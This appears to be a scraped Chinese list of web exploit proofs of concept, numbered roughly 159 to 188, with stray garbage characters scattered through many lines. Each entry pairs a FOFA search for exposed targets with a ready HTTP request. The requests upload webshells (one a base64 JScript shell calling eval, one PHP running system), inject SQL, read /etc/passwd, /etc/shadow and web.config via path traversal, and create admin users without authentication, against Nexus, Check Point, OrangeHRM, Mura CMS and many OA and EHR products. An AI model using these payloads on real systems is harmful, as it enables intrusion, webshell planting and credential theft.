FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
1 x/ r- ~/ ?# ]. W' F9 c* XAccept-Encoding: gzip, deflate
Connection: close
- g# ?# Q; L! N) L$ qContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
6 T2 j1 ?0 b2 |8 G; x- Y, ?
6 N, W6 W7 m5 H* w) v% }<?xml version="1.0" encoding="utf-8"?>
2 U. ~/ s  p& \- i; K<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
6 V4 _& |- U9 S3 e<vcode>1</vcode>
# f2 p/ d6 ~6 g0 y5 d* ]. D9 ]<subFolder></subFolder>
% a9 v" W1 f* j<fileName>abcrce.asmx</fileName>
, J4 `. o" v7 T9 r6 R  L" R<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
</soap:Envelope>

" G/ d' l8 ?* E8 s) s& r5 B( C
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

, m" Z" q) e7 A
# V8 |4 E, w! @! a7 A# \' j160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
3 w$ E" }+ t0 x8 sGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
: x0 N2 V% C7 a+ \( C6 L7 ?! LConnection: close
" O* B) P6 H3 y, ~9 HAccept: */*
Accept-Language: en
+ X2 @2 P& P9 x8 ?  uAccept-Encoding: gzip
: U) e( g3 v2 w% ?+ t6 T
* n0 |; s! z$ W
+ R; z( [0 {9 V% J/ E) z/ d: m161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
0 d2 S- e" g5 \  q! T  ~FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
0 i5 g: K, B' T* i3 wContent-Type: text/xml
Accept-Encoding: gzip
& B& }; x: z& b) `7 Y2 A) ^
' s: j! X7 n' a8 o1 E<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
3 k5 w4 h5 S$ [  `7 R2 Qhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
2 b. B% n5 A$ H$ [8 V" Qxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
$ Z3 g# Q, X7 j<soap:Body>
  B0 u+ C5 y/ }) ^9 U<UploadResume xmlns="http://tempuri.org/">
+ X. m0 B% e$ d2 A  o4 w4 Y0 Z<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
. t5 W- R# N) y+ a  u</soap:Envelope>


http://x.x.x.x/dizxdell.aspx
! q/ C/ ^. q# P/ E) c3 Y0 v
8 \) J3 P# s* E; t; O$ F5 H+ K162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
8 T4 s5 n7 D+ {  aFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
) q2 _0 \0 I% Y+ ^" ^& ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
# z$ O+ ^" E, _. o# h------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

/ j( K6 ~* e: E6 d9 Aupload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

ResourceNewResponder
2 n4 N# ^' n# Z. @' n------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

! t. m. T7 d- D, c" P/opt/resources
1 \, ^" C* Y  Y7 [$ R8 p- x------WebKitFormBoundaryeegvclmyurlotuey--

/ `% B, M6 h3 S+ U% V% {
http://x.x.x.x/opt/resources/kjuhitjgk.aspx
( ]: k( e2 p/ x% ~
/ }' \6 Y) O. M7 C7 ~% }* ]163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
$ E6 D+ P5 [7 q4 ?- f3 DHost: x.x.x.x
6 G2 J; E0 d# b6 G& VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
( W5 d& k9 b( [4 z8 j) ?( RAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

, Q' a. q$ H  u6 L------iiqvnofupvhdyrcoqyuujyetjvqgocod
4 F4 N2 A8 Z, t3 b/ b9 zContent-Disposition: form-data; name="name"

1.php
7 |6 \6 f, P( x! _, ?------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
* M2 D- r! w& ~. _; m& xContent-Type: image/jpeg

) [* h6 I" s6 ^' }# W. Drvjhvbhwwuooyiioxega
& i0 F* I" _) n* j- ~------iiqvnofupvhdyrcoqyuujyetjvqgocod--
, x# n2 V9 V$ Q1 J2 P
5 a0 k3 U" a$ X- _
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
& R( h: @: D+ W, a! ]  ]Content-Length: 288
( f- y- C% g1 g$ C: @3 e3 ^( bAccept: application/json, text/javascript, */*; q=0.01
; P; x) L4 A/ Q; T+ L8 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
  w9 k+ ?2 _! A; j8 z6 zConnection: close
7 a; h* R8 y3 @  F% DContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
0 `* @$ `: S0 l$ J( N- X7 rAccept-Encoding: gzip

: a0 _/ L/ i, `+ h+ y8 t------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
  S# s8 p& w6 ?% XContent-Type: image/jpeg
3 e' U% N( E8 l6 a
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
) h" O  [: k2 q$ N

7 ~1 I2 I- f* S2 N5 r0 a  zhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

: E6 }% n: d* t: k; _1 \165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

' S; D5 Y. T8 B
* I% q% ?- g6 i, H: J: {2 h0 [166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
* M. z/ P8 j2 z8 H! QPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
6 ^+ z9 J4 J3 E) ]Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
4 X3 W5 b  V* X: p) A: oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
  e! ^+ t$ B2 O' I' @! pContent-Length: 89
0 ?* r; @1 t0 R6 S4 w
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
( ^5 f* j, j6 M9 x. [

167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
1 w4 M( I/ Q6 X" l7 EGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
8 t8 F" I* G* X) i8 m% EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 R- D+ `$ M9 l" IContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
3 r" @" }& q3 ]$ k5 L' WConnection: keep-alive


6 M/ @/ U8 E/ n. E: g/ e& R  K168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
) W8 m. }4 W) K6 |4 Y0 }* }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
3 [" K) t& z( T* ?- L/ y3 o7 zContent-Type: application/x-www-form-urlencoded
Connection: close
, L, @( r* y2 k$ K: q0 {


$ J/ O2 C/ r" T0 P169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
. ?) @" v4 e0 ]- P# t" _0 t, p6 jGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
: ]; l( w. n3 J6 [1 {Host: your-ip
8 e$ j1 {  b. w* ~! m& t5 I: q; |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ f+ T9 U, N7 r! H3 aAccept: */*
1 R# m& x! R( ]) X. o2 L& ^Accept-Encoding: gzip, deflate
1 R) E4 K! y" L% g) R- yConnection: close



170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. I: M/ D8 Q; z3 kContent-Type: application/x-www-form-urlencoded
/ i0 ]9 {6 p0 ~% A" t
filename=../webapps/ROOT/WEB-INF/web.xml


171. 通天星CMSV6车载定位监控平台 SQL注入
* R6 N# t9 H( n' v/ Y. LFOFA：body="/808gps/"
# L# ~- u5 J3 W% Q7 DGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
, C# s5 z9 s# A5 k8 HAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; c+ Q, j1 F. u% FAccept-Encoding: gzip, deflate
: r7 U/ \9 ^5 B( f0 H! {6 LConnection: close


5 x8 k. A2 o0 r/ m0 V( V
" _; l! r  O/ B2 P( ]172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
$ [4 f+ d3 A: l* I/ J  AHost: your-ip
# `# C+ M3 v" n" {4 H$ _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 k/ Q: K2 W* \& j; B5 sAccept-Encoding: gzip, deflate
( B. W2 S3 W7 l2 s# S; T6 ]( h+ I5 lAccept: */*
* \. Q) E/ A+ D. EConnection: keep-alive
* }- a6 x, K) \* ?
' `7 S& i5 S. P2 K4 y
5 _8 g9 D1 k; P6 j
173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
! M6 n# s& f; r5 d- zHost: your-ip
7 n8 X9 M' h9 ]# Y" W. z/ tContent-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
% O* b4 W9 {2 [8 `+ [. ]
% d( r8 @9 u5 ?+ M3 x8 }3 a
3 }: q0 d0 D4 i; g7 z) S2 F
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
8 A: v: p3 h! C- D8 e' lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
9 l; q! ^4 L2 E* E3 k4 L! ?% K. sAccept-Language: zh-CN,zh;q=0.9
Connection: close

+ H* ~+ J* Y$ L' c% A. G1 H, m
) [) S  `* t) G' B
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 O  Z; _' N/ ^Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
' T9 C2 @' }4 Q$ E
& A2 T! p- E$ o8 i8 Q3 O5 q
' P7 G! Q& r4 ~& L/ ]1 y+ A# p176. 电信网关配置管理系统 rewrite.php 文件上传
' Z: H$ r) C- F9 z6 e  G/ wFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
8 R+ O. R' H2 w) l, _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
3 Q9 ~( a0 L# ~Connection: close

------WebKitFormBoundaryOKldnDPT
, ]7 `% [( O: ?: F5 {0 N& h0 kContent-Disposition: form-data; name="tmp_name"; filename="test.php"
! E: [7 t) b9 W8 |Content-Type: image/png
6 x! m' r4 O  B7 |
<?php system("cat /etc/passwd");unlink(__FILE__);?>
- {% C3 r* o4 o. z/ D------WebKitFormBoundaryOKldnDPT
1 u0 F+ Y, [, F& P7 TContent-Disposition: form-data; name="uploadtime"
# @. N( Q" _* C, O
' r, o7 O* ~+ Q/ w9 ^( ]% |2 E
5 ^' e! p% O2 j------WebKitFormBoundaryOKldnDPT--
. a; [0 h$ o5 M1 X
5 |2 |, a+ }7 h/ S0 T+ Q  I
8 [6 U# h2 Y- f6 n1 A( |. A
177. H3C路由器敏感信息泄露
2 c* D! _7 K7 U3 i/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
" Z4 g* X' {- }3 b$ d* m( m% p3 o/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
: p- _) F! q8 z. F) d) h/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
2 J  Z- C# ~9 Q8 ?7 e6 T- t. |/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
" S: y. `8 k# L- W) c/userLogin.asp/../actionpolicy_status/../ER5200.cfg
8 j) g4 g4 I2 S: D& B/ J+ \, h/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
5 P" N* S" }% G- W7 t/ K8 G& b/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
) \6 @# K, ?6 o! [( ]% P7 v" J; G/userLogin.asp/../actionpolicy_status/../ER3200.cfg
+ h. F3 a1 R8 e3 L- S' \% Q5 [/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
& p6 j; G2 S" K+ C+ h/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
0 j7 v, [6 {. [) c( N

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
- }8 K8 W! j% MFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
: m6 K: D! f% J2 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
7 n+ q6 b( ]: X: T5 AContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
; [, [, z& }5 ~, H# v9 T& O+ X-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255
( Z) ^# d7 j/ m% |/ T! P
  O0 |8 B4 [6 d, @12234
-----------------aqutkea7vvanpqy3rh2l--

0 C% h# [6 C2 ^- |% g3 f4 c
GET /imc/primepush/%2e%2e/flex/12234.txt

/ {' I, K; x0 V0 A8 e8 J5 B1 e( P
8 p8 i5 P3 }5 N* M; ?' L, o5 y' H- ~179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
8 g- [& ?! A) O' i! RHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2 V4 i- V! `# I  p  p& u! N: |User-Agent: Mozilla/5.0
- {% M8 J2 N7 Q$ _7 }
path=../log4net.config&Name=


% l8 e: l1 z& c9 l( K, ^180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
/ e- ~! q0 h  O, A- n+ g) M4 sGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
! h+ N0 h$ F: [5 u7 vHost: your-ip
  n& ]* V& U9 Z$ ^( \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 [' H6 D4 T0 v, ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

# h6 @5 z1 T% v* [$ D1 E
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
; u# w$ l) K' U4 jPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
7 v8 y- k* U6 \7 x0 g$ `5 }Host: your-ip
- x2 X2 b3 p) pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. i* p& o, A0 q6 DAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
, g8 [# K% R4 R; n9 [Content-Type: application/x-www-form-urlencoded
0 d! \& A$ s  Q7 b1 D% n' o

1 a- l$ C* q. R; D5 J+ Naction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

: `3 k- V! F  n$ n. I0 _
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
7 M/ n2 ^. x& [* z9 YFOFA："PDCA/js/_publicCom.js"
. q/ z) I+ c& e; l/ mPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
, G/ x. C9 A& l# ~  _. c% oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 J7 `/ Z( g2 wContent-Type: application/x-www-form-urlencoded


+ u& V5 q2 K5 ^& c) f5 iusername=test1234&pwd=test1234&savedays=1
) s' g- k# L1 H- u5 d7 b6 d- U

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
: g1 s9 I. r3 D- l! z/ x& Q7 }5 gHost: your-ip
/ C7 Z- F! ^, i8 \User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
  f2 s8 v* Q& aAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
. B1 X: C$ M" Q# ~6 ?1 N' dConnection: close

9 G9 P/ {" i& D+ V" k2 b& J& i+ E  d
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
$ z! o# q) T+ L8 e2 K& i7 wHost: your-ip
' a8 q6 E9 R$ \  zAccept-Encoding: gzip, deflate
8 p- H: Y! G1 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
) H0 n" O) K" I0 p: [6 JContent-Type: text/xml; charset=utf-8
  @2 \  U) h. N- m2 p% m: `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ F1 @7 u! y- rX-Requested-With: XMLHttpRequest
, j  s8 x  ?' ^( ^) e3 I' ]

insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
/ c% [; u& u* v8 d

185. 瑞友天翼应用虚拟化系统SQL注入
" W9 t( x) |5 K2 C& k4 y7 oversion < 7.0.5.1
5 }( i$ B' M' ^; O% s/ y0 LFOFA：app="REALOR-天翼应用虚拟化系统"
' w6 R# P5 {' J% {* b9 }$ q& `GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
+ G( Y9 w9 l* m
' g) S3 I% C. w& j2 j' _
186. F-logic DataCube3 SQL注入
; j9 D8 O: J# gCVE-2024-31750
' |0 Y+ e# U! WF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
9 M& e* `1 }8 q5 f9 YFOFA：title=="DataCube3"
% o) v! f* c( y  Y* H- j* @) rPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
: }# l/ V" [9 J4 h: K: |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
. \# ~- @7 Y  ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 T# }; K" ^% g9 ?% P0 HAccept-Encoding: gzip, deflate
Connection: close
* m! h4 r, S: ^Content-Type: application/x-www-form-urlencoded
5 c7 \! [* x- W3 z% A! E5 W& ~
) j+ W  L" Q, mreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
8 b  L9 c% u5 d9 C, Z
5 N1 @! R+ ~0 I6 z5 b
/ l- H5 }) v) ^8 A187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
+ }- ^$ l; N  I' C0 |* cHost: your-ip
Content-Type: application/x-www-form-urlencoded

5 h" `' W" y% M. i  ^' V' k- q7 ?
/ E) B( e# A$ n# c7 h, R$ m4 g5 Y1 G. Fobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
, y! {; \' I2 A/ d: }
! }& @, E% }% C! Q7 K
6 k7 Y) w7 y" s' }8 i188. 叁体-佳会视频会议 attachment 任意文件读取
5 @5 S( W7 Q% U) E5 K8 Oversion <= 3.9.7
0 h: K1 d1 U: Y. t" \FOFA：body="/system/get_rtc_user_defined_info?site_id"
+ G; R* u0 p# B2 N. _( \. M" gGET /attachment?file=/etc/passwd HTTP/1.1
7 S) h, R3 M7 @4 J" c! sHost: your-ip
  J/ o2 q" h- K* V5 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 k' @# b0 t& J7 LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
